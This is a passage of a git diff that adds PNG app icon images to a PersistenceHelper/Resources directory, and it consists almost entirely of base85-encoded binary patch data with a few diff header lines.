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 Dh_pxw literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon29x29@3x.png b/PersistenceHelper/Resources/AppIcon29x29@3x.png new file mode 100644 index 0000000000000000000000000000000000000000..1fc92405fc6c00cf7a38cbbe500d074f79864755 GIT binary patch literal 10258 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 literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon40x40.png b/PersistenceHelper/Resources/AppIcon40x40.png new file mode 100644 index 0000000000000000000000000000000000000000..0f5d1f79437dc984c9fbd41e90e06a6d4056930a GIT binary patch literal 4050 zcmbuBc~Fzdw!niyBOo9|WK%M-B?bnRMHV5s=ny21fv_)wC=n3QK@=oHOs)t76v!2U zC?Jf37?D*12*{QVMiEdp1r)NdFPf;}HxQD`y!-0Ds`uBccTZP$)#*Ncs(+_XcOChA zIUlqei*d(*6cj)pg{=mXPk@eZY5$r0<>Wu}u(ey>1=83FLVyrp1r5+P4F#}{L=#*)nL{4cevv25(aYZ{Mz{xMh8PYaOJhv0d}PVV50H z{8@-$+#ahNcOLFEI`)jE<@Huc-AJ$L>6Q#!@n} z_7ZD_U4E;)*Vsm2BKZsLzsUY?U@8AEvVVj957#(o7g%BI^1vD(G-&hkk=F{whrqcf z?7_p*MmcDI$(ZvanH&VbH;Pv1U(xN9`=XM=z*li(7unDQLZk}~(jeLA4)}MiJ1&wf zBweN-LY~lBCA)@5uEON7wJHnGkcC6B&kf^0YN%0y`Ica(2+48P)z9iu8xacGTO(vT zG2vXwxqd88Gu!E%_UeVEhKGn(wp!*sA564$O^gSDUyUT_8$=xA*#J-m?~Pd?Sr{GS zaQ2oVFma_LTJB*X4j6ZK+#`{*PjJ-l2(lf3nRU@(q;{YutuaiqadI!Zp>1^5ZX@^l z6RAng2;sv1dZ$0AkiyN&v^Ru>vq8v{tPh`Zuba*N0>{Kiedf5zF>;W?CmM}DXvb=v z2bRFs+drr!;w>LI)#H<$ANAMw^dvd=WW>{yqsQS~8kk7qCiy+AA^N)mmEyZX8v7_s zH_GvE&o4%7u&hW}F(qxqDbgTQ>tlI;BP`t_Avhb^{b>T=3@JGFj=Y}~!9vO_&R3jUf8ZBy4jj|grR!?CGP zeQ)3RR%|BxPA!h1mH2a*pwn>N9~W%6F!x=e7#)sUP&SiA%-bN+~;IpBOKmc;Gb`fwzONTam+q{rrf~?r%{f% zRABm|FiJ4*=b5$G>|HuYHrxCSrB3dZX%5Ar!%N?Dg!JyI_ZzGdaFHL7xpAEQlCnn* z3ZH_xid!jaDigGQK$%dR*pl_;Rys^6h3%Q~rRsqjuE z=se0rzg!<#62^@3!Ya4A#1F@$SWuQMmVh&5Ln>KY^5AJT#5szLrBVfi^ozJV#H3ggCWF|{-8 zL9neWsq1}51Utc&hmZKc)nRhrK$jUprCixeK(%F5MrQuGl1s?SMd4%&K zLn}lXD$;rcLRneK^!w)4796GEmH*wY*=C#<)v8On9=b;sr)i?X9_^#Za?E%F{X;h@l+mB-qZpXDJfiMmjYE{1mpo#H0${=k+* z8$f^-q4f?R(BG?RsJGsAws~`6?ONQZbt*Ye3Qpm8GBP=mkLIGkGZDi@xE!cM*8t2- z-~Gvp5mtl)O8Ggn%{Lk~PPe*pJ2ZFG(CU>#Pr7a&wlPv^dgM^cq<%hJH|&t_zJ16m zW?zQc?|68>C`sw`?b3HHg;y z9vbS$AgT4{Z#9hr>7`8gN|c~BL$*`A%2;s`+xU`md{<>!G*>)B?I4Hp}t5c=amUm2^@L+Md+`Jdjj&p*2xjB=Va!50SGQ7i9z} zC5tWB$db=A^aT%%@zBM+d)Ja;xv(@jh)G}W27D=r*Zd1CY4kSgJ~XDO0%L0VU1_0@aeOhuf(N6%AyejH4YH 